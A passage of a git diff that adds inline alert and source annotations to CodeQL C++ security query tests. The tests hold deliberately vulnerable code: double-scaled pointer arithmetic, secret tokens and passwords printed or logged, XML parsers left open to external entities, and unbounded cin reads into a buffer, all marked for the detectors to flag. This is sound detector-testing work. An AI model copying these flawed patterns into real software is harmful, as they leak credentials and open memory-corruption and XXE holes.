compute the wrong offset. - return *(intPointer + sizeof(int)); + return *(intPointer + sizeof(int)); // $ Alert } int test4(int i) { @@ -27,7 +27,7 @@ int test4(int i) { int *intPointer = intArray; // BAD: the offset is already automatically scaled by sizeof(int), // so this code will compute the wrong offset. - return *(intPointer - sizeof(int)); + return *(intPointer - sizeof(int)); // $ Alert } int test5(int i, int j) { @@ -35,7 +35,7 @@ int test5(int i, int j) { int *intPointer = intArray; // BAD: the offset is already automatically scaled by sizeof(int), // so this code will compute the wrong offset. - return *(intPointer + (i * sizeof(int) * j)); + return *(intPointer + (i * sizeof(int) * j)); // $ Alert } void test6(int i) { @@ -58,7 +58,7 @@ void test7(int i) { int v; v = *(intPointer + i); // GOOD - v = *(intPointer + (i * sizeof(int))); // BAD: scaled twice by sizeof(int) + v = *(intPointer + (i * sizeof(int))); // BAD: scaled twice by sizeof(int) // $ Alert v = *(charPointer + i); // GOOD (actually rather dubious, but this could be correct code) v = *(charPointer + (i * sizeof(int))); // GOOD v = *(int *)(voidPointer + i); // GOOD (actually rather dubious, but this could be correct code) @@ -86,7 +86,7 @@ class MyTest8Class myIntsPointer((myInt *)malloc(sizeof(MyABC) * 2)) { myChar *secondPtr = myCharsPointer + sizeof(MyABC); // GOOD - myInt *secondPtrInt = myIntsPointer + sizeof(MyABC); // BAD + myInt *secondPtrInt = myIntsPointer + sizeof(MyABC); // BAD // $ Alert } private: diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-497/SAMATE/ExposedSystemData.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-497/SAMATE/ExposedSystemData.qlref index 0c88835bf1fc..0cb5a0a34d75 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-497/SAMATE/ExposedSystemData.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-497/SAMATE/ExposedSystemData.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-497/ExposedSystemData.ql \ No newline at end of file +query: Security/CWE/CWE-497/ExposedSystemData.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-497/SAMATE/PotentiallyExposedSystemData.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-497/SAMATE/PotentiallyExposedSystemData.qlref index 4f7305ce6970..fd804eefffa8 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-497/SAMATE/PotentiallyExposedSystemData.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-497/SAMATE/PotentiallyExposedSystemData.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-497/PotentiallyExposedSystemData.ql \ No newline at end of file +query: Security/CWE/CWE-497/PotentiallyExposedSystemData.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-497/SAMATE/tests.c b/cpp/ql/test/query-tests/Security/CWE/CWE-497/SAMATE/tests.c index 4b1df2a96e1d..b12215c1cb7c 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-497/SAMATE/tests.c +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-497/SAMATE/tests.c @@ -54,7 +54,7 @@ void CWE535_Info_Exposure_Shell_Error__w32_char_01_bad() if (LogonUserA( username, domain, - password, + password, // $ Source[cpp/potential-system-data-exposure] LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &pHandle) != 0) @@ -67,6 +67,6 @@ void CWE535_Info_Exposure_Shell_Error__w32_char_01_bad() printLine("Unable to login."); } /* FLAW: Write sensitive data to stderr */ - fprintf(stderr, "User attempted access with password: %s\n", password); + fprintf(stderr, "User attempted access with password: %s\n", password); // $ Alert[cpp/potential-system-data-exposure] } } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-497/semmle/tests/PotentiallyExposedSystemData.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-497/semmle/tests/PotentiallyExposedSystemData.qlref index 4f7305ce6970..fd804eefffa8 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-497/semmle/tests/PotentiallyExposedSystemData.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-497/semmle/tests/PotentiallyExposedSystemData.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-497/PotentiallyExposedSystemData.ql \ No newline at end of file +query: Security/CWE/CWE-497/PotentiallyExposedSystemData.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-497/semmle/tests/tests.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-497/semmle/tests/tests.cpp index 25a071bee467..cebf2d395e36 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-497/semmle/tests/tests.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-497/semmle/tests/tests.cpp @@ -45,21 +45,21 @@ void test1() { std::ostream cout_copy = std::cout; - std::cout << getenv("SECRET_TOKEN"); // BAD: outputs SECRET_TOKEN environment variable - std::cerr << getenv("SECRET_TOKEN"); // BAD: outputs SECRET_TOKEN environment variable - std::clog << getenv("SECRET_TOKEN"); // BAD: outputs SECRET_TOKEN environment variable + std::cout << getenv("SECRET_TOKEN"); // BAD: outputs SECRET_TOKEN environment variable // $ Alert + std::cerr << getenv("SECRET_TOKEN"); // BAD: outputs SECRET_TOKEN environment variable // $ Alert + std::clog << getenv("SECRET_TOKEN"); // BAD: outputs SECRET_TOKEN environment variable // $ Alert someotherostream << getenv("SECRET_TOKEN"); // GOOD: not output cout_copy << getenv("SECRET_TOKEN"); // BAD: outputs SECRET_TOKEN environment variable [NOT DETECTED] std::cout << getenv("USERPROFILE"); // BAD: outputs PATH environment variable [NOT DETECTED] std::cout << getenv("PATH"); // BAD: outputs PATH environment variable [NOT DETECTED] - std::cout.write(getenv("SECRET_TOKEN"), strlen(getenv("SECRET_TOKEN"))); // BAD: outputs SECRET_TOKEN environment variable - (std::cout << "SECRET_TOKEN = ").write(getenv("SECRET_TOKEN"), strlen(getenv("SECRET_TOKEN"))); // BAD: outputs SECRET_TOKEN environment variable - std::cout.write("SECRET_TOKEN = ", 7) << getenv("SECRET_TOKEN"); // BAD: outputs SECRET_TOKEN environment variable + std::cout.write(getenv("SECRET_TOKEN"), strlen(getenv("SECRET_TOKEN"))); // BAD: outputs SECRET_TOKEN environment variable // $ Alert + (std::cout << "SECRET_TOKEN = ").write(getenv("SECRET_TOKEN"), strlen(getenv("SECRET_TOKEN"))); // BAD: outputs SECRET_TOKEN environment variable // $ Alert + std::cout.write("SECRET_TOKEN = ", 7) << getenv("SECRET_TOKEN"); // BAD: outputs SECRET_TOKEN environment variable // $ Alert } -char *global_token = getenv("SECRET_TOKEN"); +char *global_token = getenv("SECRET_TOKEN"); // $ Source char *global_other = "Hello, world!"; void test2(bool cond) @@ -68,9 +68,9 @@ void test2(bool cond) maybe = cond ? global_token : global_other; - printf("token = '%s'\n", global_token); // BAD: outputs SECRET_TOKEN environment variable + printf("token = '%s'\n", global_token); // BAD: outputs SECRET_TOKEN environment variable // $ Alert printf("other = '%s'\n", global_other); - printf("maybe = '%s'\n", maybe); // BAD: may output SECRET_TOKEN environment variable + printf("maybe = '%s'\n", maybe); // BAD: may output SECRET_TOKEN environment variable // $ Alert } void test3() @@ -85,7 +85,7 @@ void test3() void myOutputFn(const char *msg) { - printf("%s", msg); + printf("%s", msg); // $ Alert } void myOtherFn(const char *msg) @@ -94,7 +94,7 @@ void myOtherFn(const char *msg) void test4() { - myOutputFn(getenv("SECRET_TOKEN")); // BAD: outputs the SECRET_TOKEN environment variable + myOutputFn(getenv("SECRET_TOKEN")); // BAD: outputs the SECRET_TOKEN environment variable // $ Alert Source myOtherFn(getenv("SECRET_TOKEN")); // GOOD: does not output anything. } @@ -108,7 +108,7 @@ void myOutputFn3(const char *msg) { const char *tmp = msg; - printf("%s", tmp); + printf("%s", tmp); // $ Alert } void myOutputFn4(const char *msg) @@ -116,29 +116,29 @@ void myOutputFn4(const char *msg) char buffer[4096]; sprintf(buffer, "log: %s\n", msg); - puts(buffer); + puts(buffer); // $ Alert } void myOutputFn5(const char *msg) { - printf("%s", msg); + printf("%s", msg); // $ Alert msg = ""; } void test5() { myOutputFn2(getenv("SECRET_TOKEN")); // GOOD: myOutputFn2 doesn't actually output the parameter - myOutputFn3(getenv("SECRET_TOKEN")); // BAD: outputs the SECRET_TOKEN environment variable - myOutputFn4(getenv("SECRET_TOKEN")); // BAD: outputs the SECRET_TOKEN environment variable - myOutputFn5(getenv("SECRET_TOKEN")); // BAD: outputs the SECRET_TOKEN environment variable + myOutputFn3(getenv("SECRET_TOKEN")); // BAD: outputs the SECRET_TOKEN environment variable // $ Source + myOutputFn4(getenv("SECRET_TOKEN")); // BAD: outputs the SECRET_TOKEN environment variable // $ Source + myOutputFn5(getenv("SECRET_TOKEN")); // BAD: outputs the SECRET_TOKEN environment variable // $ Alert Source } void RtlZeroMemory(void* dst, size_t len); void test_clear_memory(char *username) { - char* secret = getenv("SECRET_TOKEN"); + char* secret = getenv("SECRET_TOKEN"); // $ Source - printf("%s", secret); // BAD + printf("%s", secret); // BAD // $ Alert RtlZeroMemory(secret, 1024); printf("%s", secret); // GOOD } \ No newline at end of file diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-497/semmle/tests/tests_passwd.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-497/semmle/tests/tests_passwd.cpp index 6de8ed84d061..3e3fd2158ce5 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-497/semmle/tests/tests_passwd.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-497/semmle/tests/tests_passwd.cpp @@ -13,9 +13,9 @@ void test6(char *username) { passwd *pwd; - pwd = getpwnam(username); + pwd = getpwnam(username); // $ Source - printf("pw_passwd = %s\n", pwd->pw_passwd); // BAD - printf("pw_dir = %s\n", pwd->pw_dir); // BAD + printf("pw_passwd = %s\n", pwd->pw_passwd); // BAD // $ Alert + printf("pw_dir = %s\n", pwd->pw_dir); // BAD // $ Alert printf("sizeof(passwd) = %i\n", sizeof(passwd)); // GOOD } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-570/IncorrectAllocationErrorHandling.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-570/IncorrectAllocationErrorHandling.qlref index fe4bb214bb47..10f5cbc30be5 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-570/IncorrectAllocationErrorHandling.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-570/IncorrectAllocationErrorHandling.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-570/IncorrectAllocationErrorHandling.ql +query: Security/CWE/CWE-570/IncorrectAllocationErrorHandling.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-570/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-570/test.cpp index 9df901ca5a9f..f24875a137fa 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-570/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-570/test.cpp @@ -18,7 +18,7 @@ void *operator new(std::size_t, const std::nothrow_t &) noexcept; void *operator new[](std::size_t, const std::nothrow_t &) noexcept; void bad_new_in_condition() { - if (!(new int)) { // BAD + if (!(new int)) { // BAD // $ Alert return; } } @@ -26,53 +26,53 @@ void bad_new_in_condition() { void foo(int**); void bad_new_missing_exception_handling() { - int *p1 = new int[100]; // BAD + int *p1 = new int[100]; // BAD // $ Alert if (p1 == 0) return; - int *p2 = new int[100]; // BAD + int *p2 = new int[100]; // BAD // $ Alert if (!p2) return; - int *p3 = new int[100]; // BAD + int *p3 = new int[100]; // BAD // $ Alert if (p3 == NULL) return; - int *p4 = new int[100]; // BAD + int *p4 = new int[100]; // BAD // $ Alert if (p4 == nullptr) return; - int *p5 = new int[100]; // BAD + int *p5 = new int[100]; // BAD // $ Alert if (p5) {} else return; int *p6; - p6 = new int[100]; // BAD + p6 = new int[100]; // BAD // $ Alert if (p6 == 0) return; int *p7; - p7 = new int[100]; // BAD + p7 = new int[100]; // BAD // $ Alert if (!p7) return; int *p8; - p8 = new int[100]; // BAD + p8 = new int[100]; // BAD // $ Alert if (p8 == NULL) return; int *p9; - p9 = new int[100]; // BAD + p9 = new int[100]; // BAD // $ Alert if (p9 != nullptr) { } else return; int *p10; - p10 = new int[100]; // BAD + p10 = new int[100]; // BAD // $ Alert if (p10 != 0) { } int *p11; do { - p11 = new int[100]; // BAD + p11 = new int[100]; // BAD // $ Alert } while (!p11); int* p12 = new int[100]; @@ -89,11 +89,11 @@ void bad_new_missing_exception_handling() { void bad_new_nothrow_in_exception_body() { try { - new (std::nothrow) int[100]; // BAD - int *p1 = new (std::nothrow) int[100]; // BAD + new (std::nothrow) int[100]; // BAD // $ Alert + int *p1 = new (std::nothrow) int[100]; // BAD // $ Alert int *p2; - p2 = new (std::nothrow) int[100]; // BAD + p2 = new (std::nothrow) int[100]; // BAD // $ Alert } catch (const std::bad_alloc &) { } } @@ -157,7 +157,7 @@ struct Bar { void bad_placement_new_with_exception_handling() { char buffer[1024]; - try { new (buffer) Foo; } // BAD (placement new should not fail) + try { new (buffer) Foo; } // BAD (placement new should not fail) // $ Alert catch (...) { } } @@ -226,7 +226,7 @@ void good_new_with_throwing_call() { void bad_new_with_nonthrowing_call() { try { - int* p1 = new(std::nothrow) int; // BAD + int* p1 = new(std::nothrow) int; // BAD // $ Alert calls_non_throwing(p1); } catch(...) { } @@ -239,7 +239,7 @@ void bad_new_with_nonthrowing_call() { void bad_new_catch_baseclass_of_bad_alloc() { try { - int* p = new(std::nothrow) int; // BAD + int* p = new(std::nothrow) int; // BAD // $ Alert } catch(const std::exception&) { } } @@ -273,7 +273,7 @@ namespace qhelp { // BAD: the allocation will throw an unhandled exception // instead of returning a null pointer. void bad1(std::size_t length) noexcept { - int* dest = new int[length]; + int* dest = new int[length]; // $ Alert if(!dest) { return; } @@ -285,7 +285,7 @@ namespace qhelp { // instead return a null pointer. void bad2(std::size_t length) noexcept { try { - int* dest = new(std::nothrow) int[length]; + int* dest = new(std::nothrow) int[length]; // $ Alert std::memset(dest, 0, length); // ... } catch(std::bad_alloc&) { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-611/XXE.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-611/XXE.qlref index 866f8697cafe..185788f319dd 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-611/XXE.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-611/XXE.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-611/XXE.ql +query: Security/CWE/CWE-611/XXE.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests.cpp index 51ae57f54d9d..2c0e719c39b8 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests.cpp @@ -12,9 +12,9 @@ class XercesDOMParser: public AbstractDOMParser { // --- void test1(InputSource &data) { - XercesDOMParser *p = new XercesDOMParser(); + XercesDOMParser *p = new XercesDOMParser(); // $ Source - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert } void test2(InputSource &data) { @@ -25,18 +25,18 @@ void test2(InputSource &data) { } void test3(InputSource &data) { - XercesDOMParser *p = new XercesDOMParser(); + XercesDOMParser *p = new XercesDOMParser(); // $ Source p->setDisableDefaultEntityResolution(false); - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert } void test4(InputSource &data) { - XercesDOMParser *p = new XercesDOMParser(); + XercesDOMParser *p = new XercesDOMParser(); // $ Source p->setDisableDefaultEntityResolution(true); p->setCreateEntityReferenceNodes(false); - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert } void test5(InputSource &data) { @@ -48,44 +48,44 @@ void test5(InputSource &data) { } void test6(InputSource &data) { - XercesDOMParser *p = new XercesDOMParser(); + XercesDOMParser *p = new XercesDOMParser(); // $ Source p->setDisableDefaultEntityResolution(true); p->parse(data); // GOOD p->setDisableDefaultEntityResolution(false); - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert p->setDisableDefaultEntityResolution(true); p->parse(data); // GOOD p->setCreateEntityReferenceNodes(false); - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert p->setCreateEntityReferenceNodes(true); p->parse(data); // GOOD } void test7(InputSource &data, bool cond) { - XercesDOMParser *p = new XercesDOMParser(); + XercesDOMParser *p = new XercesDOMParser(); // $ Source p->setDisableDefaultEntityResolution(cond); - p->parse(data); // BAD (parser may not be correctly configured) + p->parse(data); // BAD (parser may not be correctly configured) // $ Alert } void test8(InputSource &data, bool cond) { - XercesDOMParser *p = new XercesDOMParser(); + XercesDOMParser *p = new XercesDOMParser(); // $ Source if (cond) { p->setDisableDefaultEntityResolution(true); } - p->parse(data); // BAD (parser may not be correctly configured) + p->parse(data); // BAD (parser may not be correctly configured) // $ Alert } void test9(InputSource &data) { { - XercesDOMParser *p = new XercesDOMParser(); + XercesDOMParser *p = new XercesDOMParser(); // $ Source XercesDOMParser &q = *p; - q.parse(data); // BAD (parser not correctly configured) + q.parse(data); // BAD (parser not correctly configured) // $ Alert } { @@ -97,11 +97,11 @@ void test9(InputSource &data) { } { - XercesDOMParser *p = new XercesDOMParser(); + XercesDOMParser *p = new XercesDOMParser(); // $ Source XercesDOMParser &q = *p; p->setDisableDefaultEntityResolution(true); - q.parse(data); // GOOD [FALSE POSITIVE] + q.parse(data); // GOOD [FALSE POSITIVE] // $ Alert } } @@ -110,16 +110,16 @@ void test10_doParseA(XercesDOMParser *p, InputSource &data) { } void test10_doParseB(XercesDOMParser *p, InputSource &data) { - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert } void test10_doParseC(XercesDOMParser *p, InputSource &data) { - p->parse(data); // BAD (parser may not be correctly configured) + p->parse(data); // BAD (parser may not be correctly configured) // $ Alert } void test10(InputSource &data) { XercesDOMParser *p = new XercesDOMParser(); - XercesDOMParser *q = new XercesDOMParser(); + XercesDOMParser *q = new XercesDOMParser(); // $ Source p->setDisableDefaultEntityResolution(true); test10_doParseA(p, data); diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests2.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests2.cpp index 8154536fd952..93b2f34f64d0 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests2.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests2.cpp @@ -17,9 +17,9 @@ class SAXParser // --- void test2_1(InputSource &data) { - SAXParser *p = new SAXParser(); + SAXParser *p = new SAXParser(); // $ Source - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert } void test2_2(InputSource &data) { @@ -30,11 +30,11 @@ void test2_2(InputSource &data) { } void test2_3(InputSource &data) { - SAXParser *p = new SAXParser(); + SAXParser *p = new SAXParser(); // $ Source bool v = false; p->setDisableDefaultEntityResolution(v); - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert } void test2_4(InputSource &data) { @@ -46,9 +46,9 @@ void test2_4(InputSource &data) { } void test2_5(InputSource &data) { - SAXParser p; + SAXParser p; // $ Source - p.parse(data); // BAD (parser not correctly configured) + p.parse(data); // BAD (parser not correctly configured) // $ Alert } void test2_6(InputSource &data) { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests3.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests3.cpp index 064eadac4fa4..29b5a2b5e90d 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests3.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests3.cpp @@ -20,9 +20,9 @@ class XMLReaderFactory // --- void test3_1(InputSource &data) { - SAX2XMLReader *p = XMLReaderFactory::createXMLReader(); + SAX2XMLReader *p = XMLReaderFactory::createXMLReader(); // $ Source - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert } void test3_2(InputSource &data) { @@ -32,10 +32,10 @@ void test3_2(InputSource &data) { p->parse(data); // GOOD } -SAX2XMLReader *p_3_3 = XMLReaderFactory::createXMLReader(); +SAX2XMLReader *p_3_3 = XMLReaderFactory::createXMLReader(); // $ Source void test3_3(InputSource &data) { - p_3_3->parse(data); // BAD (parser not correctly configured) + p_3_3->parse(data); // BAD (parser not correctly configured) // $ Alert } SAX2XMLReader *p_3_4 = XMLReaderFactory::createXMLReader(); @@ -45,7 +45,7 @@ void test3_4(InputSource &data) { p_3_4->parse(data); // GOOD } -SAX2XMLReader *p_3_5 = XMLReaderFactory::createXMLReader(); +SAX2XMLReader *p_3_5 = XMLReaderFactory::createXMLReader(); // $ Source void test3_5_init() { p_3_5->setFeature(XMLUni::fgXercesDisableDefaultEntityResolution, true); @@ -53,21 +53,21 @@ void test3_5_init() { void test3_5(InputSource &data) { test3_5_init(); - p_3_5->parse(data); // GOOD [FALSE POSITIVE] + p_3_5->parse(data); // GOOD [FALSE POSITIVE] // $ Alert } void test3_6(InputSource &data) { - SAX2XMLReader *p = XMLReaderFactory::createXMLReader(); + SAX2XMLReader *p = XMLReaderFactory::createXMLReader(); // $ Source p->setFeature(XMLUni::fgXercesDisableDefaultEntityResolution, false); - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert } void test3_7(InputSource &data) { - SAX2XMLReader *p = XMLReaderFactory::createXMLReader(); + SAX2XMLReader *p = XMLReaderFactory::createXMLReader(); // $ Source p->setFeature(XMLUni::fgXercesHarmlessOption, true); - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert } void test3_8(InputSource &data) { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests4.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests4.cpp index 642c1866629b..bde073797ac1 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests4.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests4.cpp @@ -23,7 +23,7 @@ void xmlFreeDoc(xmlDoc *ptr); void test4_1(const char *fileName) { xmlDoc *p; - p = xmlReadFile(fileName, NULL, XML_PARSE_NOENT); // BAD (parser not correctly configured) + p = xmlReadFile(fileName, NULL, XML_PARSE_NOENT); // BAD (parser not correctly configured) // $ Alert if (p != NULL) { xmlFreeDoc(p); @@ -33,7 +33,7 @@ void test4_1(const char *fileName) { void test4_2(const char *fileName) { xmlDoc *p; - p = xmlReadFile(fileName, NULL, XML_PARSE_DTDLOAD); // BAD (parser not correctly configured) + p = xmlReadFile(fileName, NULL, XML_PARSE_DTDLOAD); // BAD (parser not correctly configured) // $ Alert if (p != NULL) { xmlFreeDoc(p); @@ -43,7 +43,7 @@ void test4_2(const char *fileName) { void test4_3(const char *fileName) { xmlDoc *p; - p = xmlReadFile(fileName, NULL, XML_PARSE_NOENT | XML_PARSE_DTDLOAD); // BAD (parser not correctly configured) + p = xmlReadFile(fileName, NULL, XML_PARSE_NOENT | XML_PARSE_DTDLOAD); // BAD (parser not correctly configured) // $ Alert if (p != NULL) { xmlFreeDoc(p); @@ -74,7 +74,7 @@ void test4_6(const char *fileName) { xmlDoc *p; int flags = XML_PARSE_NOENT; - p = xmlReadFile(fileName, NULL, flags); // BAD (parser not correctly configured) + p = xmlReadFile(fileName, NULL, flags); // BAD (parser not correctly configured) // $ Alert if (p != NULL) { xmlFreeDoc(p); @@ -127,7 +127,7 @@ void test4_10(const char *ptr, int sz) { void test4_11(const char *ptr, int sz) { xmlDoc *p; - p = xmlReadMemory(ptr, sz, "", NULL, XML_PARSE_DTDLOAD); // BAD (parser not correctly configured) + p = xmlReadMemory(ptr, sz, "", NULL, XML_PARSE_DTDLOAD); // BAD (parser not correctly configured) // $ Alert if (p != NULL) { xmlFreeDoc(p); diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests5.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests5.cpp index 063c47b025e4..b14a438ebb3b 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests5.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-611/tests5.cpp @@ -24,9 +24,9 @@ class DOMImplementationLS { // --- void test5_1(DOMImplementationLS *impl, InputSource &data) { - DOMLSParser *p = impl->createLSParser(); + DOMLSParser *p = impl->createLSParser(); // $ Source - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert } void test5_2(DOMImplementationLS *impl, InputSource &data) { @@ -37,10 +37,10 @@ void test5_2(DOMImplementationLS *impl, InputSource &data) { } void test5_3(DOMImplementationLS *impl, InputSource &data) { - DOMLSParser *p = impl->createLSParser(); + DOMLSParser *p = impl->createLSParser(); // $ Source p->getDomConfig()->setParameter(XMLUni::fgXercesDisableDefaultEntityResolution, false); - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert } void test5_4(DOMImplementationLS *impl, InputSource &data) { @@ -52,11 +52,11 @@ void test5_4(DOMImplementationLS *impl, InputSource &data) { } void test5_5(DOMImplementationLS *impl, InputSource &data) { - DOMLSParser *p = impl->createLSParser(); + DOMLSParser *p = impl->createLSParser(); // $ Source DOMConfiguration *cfg = p->getDomConfig(); cfg->setParameter(XMLUni::fgXercesDisableDefaultEntityResolution, false); - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert } DOMImplementationLS *g_impl; @@ -67,26 +67,26 @@ void test5_6_init() { g_p1 = g_impl->createLSParser(); g_p1->getDomConfig()->setParameter(XMLUni::fgXercesDisableDefaultEntityResolution, true); - g_p2 = g_impl->createLSParser(); + g_p2 = g_impl->createLSParser(); // $ Source } void test5_6() { test5_6_init(); g_p1->parse(*g_data); // GOOD - g_p2->parse(*g_data); // BAD (parser not correctly configured) + g_p2->parse(*g_data); // BAD (parser not correctly configured) // $ Alert } void test5_7(DOMImplementationLS *impl, InputSource &data) { - DOMLSParser *p = impl->createLSParser(); + DOMLSParser *p = impl->createLSParser(); // $ Source - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert p->getDomConfig()->setParameter(XMLUni::fgXercesDisableDefaultEntityResolution, true); p->parse(data); // GOOD p->getDomConfig()->setParameter(XMLUni::fgXercesDisableDefaultEntityResolution, false); - p->parse(data); // BAD (parser not correctly configured) + p->parse(data); // BAD (parser not correctly configured) // $ Alert } void test5_8(DOMImplementationLS *impl, InputSource &data) { diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-676/SAMATE/DangerousUseOfCin/DangerousUseOfCin.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-676/SAMATE/DangerousUseOfCin/DangerousUseOfCin.qlref index 5a35bf81fd99..a5067fc5ee1a 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-676/SAMATE/DangerousUseOfCin/DangerousUseOfCin.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-676/SAMATE/DangerousUseOfCin/DangerousUseOfCin.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-676/DangerousUseOfCin.ql +query: Security/CWE/CWE-676/DangerousUseOfCin.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-676/SAMATE/DangerousUseOfCin/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-676/SAMATE/DangerousUseOfCin/test.cpp index 704c2a87b3f3..a5d0d3019ae0 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-676/SAMATE/DangerousUseOfCin/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-676/SAMATE/DangerousUseOfCin/test.cpp @@ -56,7 +56,7 @@ void CWE676_Use_of_Potentially_Dangerous_Function__basic_17_bad() char charBuffer[CHAR_BUFFER_SIZE]; /* FLAW: using cin in an inherently dangerous fashion */ /* INCIDENTAL CWE120 Buffer Overflow since cin extraction is unbounded. */ - cin >> charBuffer; // BAD + cin >> charBuffer; // BAD // $ Alert charBuffer[CHAR_BUFFER_SIZE-1] = '\0'; printLine(charBuffer); } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/DangerousUseOfCin/DangerousUseOfCin.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/DangerousUseOfCin/DangerousUseOfCin.qlref index 5a35bf81fd99..a5067fc5ee1a 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/DangerousUseOfCin/DangerousUseOfCin.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/DangerousUseOfCin/DangerousUseOfCin.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-676/DangerousUseOfCin.ql +query: Security/CWE/CWE-676/DangerousUseOfCin.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/DangerousUseOfCin/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/DangerousUseOfCin/test.cpp index 4c5d4bb99bf7..75248ba1e978 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-676/semmle/DangerousUseOfCin/test.cpp +++ 